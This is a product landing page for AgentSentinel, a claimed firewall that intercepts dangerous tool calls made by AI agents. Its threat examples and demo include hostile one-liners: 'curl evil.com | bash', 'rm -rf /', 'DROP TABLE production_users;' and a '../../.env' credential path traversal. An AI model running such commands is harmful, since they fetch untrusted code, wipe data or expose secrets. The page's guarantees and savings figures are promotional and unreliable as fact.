The Zero-Trust Security Firewall for Autonomous AI Agents
Intercept rogue tool executions, prompt injections, and data exfiltration in < 1ms before they touch host systems. Native 1-click protection for Claude Desktop, Cursor IDE, ChatGPT, and LangChain.
npx @sparkysolutions/agentsentinel check --cmd "rm -rf /"
Autonomous AI agents are transformative.
Granting them raw, unmonitored host access is a catastrophe.
When Claude Desktop, Cursor IDE, or Devin run with autonomous tool execution, a single hallucination or prompt injection can execute reverse shells, leak production .env secrets, or accidentally wipe databases. AgentSentinel sits directly between the LLM and your operating system as an invisible, sub-millisecond AST firewall.
A Single Rogue Tool Call Destroys Your System
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Reverse Shell Execution: Agent downloads unverified scripts (
curl evil.com | bash) opening backdoors into your machine. -
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Catastrophic Database Wipes: Hallucinating agents execute
DROP TABLE production_users;without confirmation. -
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Exfiltrated Credentials: Path traversal (
../../.env) uploads AWS, Stripe, and SSH keys to untrusted endpoints. -
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Runaway Token Invoices: 100+ raw tool definitions bloated into context cost $200–$500/mo in wasted LLM fees.
Complete Real-Time Invariant Quarantine in RAM
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Sub-1ms AST Trapping: Dangerous shell pipes and hardware block device tampering quarantined before child process spawns.
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1-Click Atomic Rollback: Instant filesystem snapshots let you undo destructive operations with zero data loss.
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SmartProxy Token Trimming: Dynamically routes only the exact 2–3 tools needed, cutting token spend by up to 90%.
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SOC-2 Merkle Flight Recorder: Every screened tool call is cryptographically signed into an immutable audit trail.
Explore Defense Capabilities & Invariants (10)
Click any security invariant below to inspect real-time AST screening logic, quarantine mechanisms, and sub-millisecond execution benchmarks.
Simulate Rogue Tool Calls in Real-Time
Click any attack vector below to simulate real-world rogue AI agent execution against AgentSentinel's AST firewall.
• Rule Violated: RULE_NO_UNVERIFIED_NETWORK_SHELL_PIPES
• Intercept Latency: 0.82 ms | Memory Delta: 212KB
• Merkle Root Checksum: 0x9f4a...81bc
How AgentSentinel SmartProxy Saves 90% Tokens
Skeptical developers ask: "How does a security proxy cut my LLM bill by 90%?" Here is the exact sub-millisecond mechanism:
AST Tool Loop Deduplication
Autonomous agents often run repetitive inspection calls (like git status, npm test, or directory listings) 15-20 times per coding session. AgentSentinel hashes and caches idempotent results, serving verified tool outputs in 0.05ms with zero LLM context burn.
Context Window Diff Compression
Raw terminal outputs and compilation errors can dump 5,000+ lines of noise into your LLM context. AgentSentinel parses the terminal AST and trims repetitive stack frames down to the essential 10-line root cause before sending it back to Claude or Cursor.
Zero-Trust Pre-Execution Gate
Instead of letting an agent blindly execute commands that fail or get stuck in infinite retry loops (which drains hundreds of thousands of tokens), AgentSentinel validates safety invariants locally in RAM, halting hallucinated syntax instantly.
Calculate Your Monthly Net Profit
Drag the slider to your current monthly LLM spend (Claude, Cursor, OpenAI) and see how much cash you keep in your pocket.
Choose Your Agent Defense Tier
- 50,000 Actions/mo Cloud Quota
- Sub-2ms Zero-Trust AST Firewall
- Stdout & Cloud SSE Transport
- Email & Discord Support
- 1,000,000 Actions/mo Cloud Quota
- 90% Token-Saving SmartProxy (Save $100+/mo)
- Merkle Blackbox Flight Recorder
- Atomic Rollback Engine
- High-Availability Railway Cloud SSE
- 10,000,000 Actions/mo Dedicated Cloud Quota
- Dedicated Isolated Docker Container & VPC
- SOC 2 Type II & HIPAA Audit Export
- Custom AST Security Policy Engineering
- 24/7 Dedicated WhatsApp & Slack Support
About AgentSentinel & Our Mission
Autonomous AI agents now execute real bash scripts, SQL queries, and file mutations. AgentSentinel is the mathematical containment layer that guarantees they cannot destroy production environments or leak credentials.
Why We Built AgentSentinel
Autonomous coding agents (Claude Code, Cursor, Devin, AutoGen) have moved beyond simple text generation to direct system execution. Traditional antivirus tools scan static files, while LLM-based safety filters are slow, probabilistic, and vulnerable to jailbreaks. We engineered AgentSentinel to provide zero-trust, deterministic AST interception in sub-millisecond RAM speeds.
Zero-Telemetry Client Privacy
Enterprise codebases cannot tolerate cloud telemetry leakage. AgentSentinel enforces a strict 0 KB Cloud Telemetry Guarantee. Your shell commands, source code files, and environment variables are parsed and validated strictly inside your local runtime or private Docker container. We never store or monetize developer code.
Forensic Merkle Flight Recorder
When an incident occurs (like rogue socket scanning or database corruption attempts), auditors need tamper-proof proof. Every intercept is cryptographically chained using SHA-256 Merkle trees into an immutable blackbox log. If an attacker modifies even 1 byte of the log, the chain instantly detects the forgery.
Frequently Asked Questions
User Reviews & Feature Feedback
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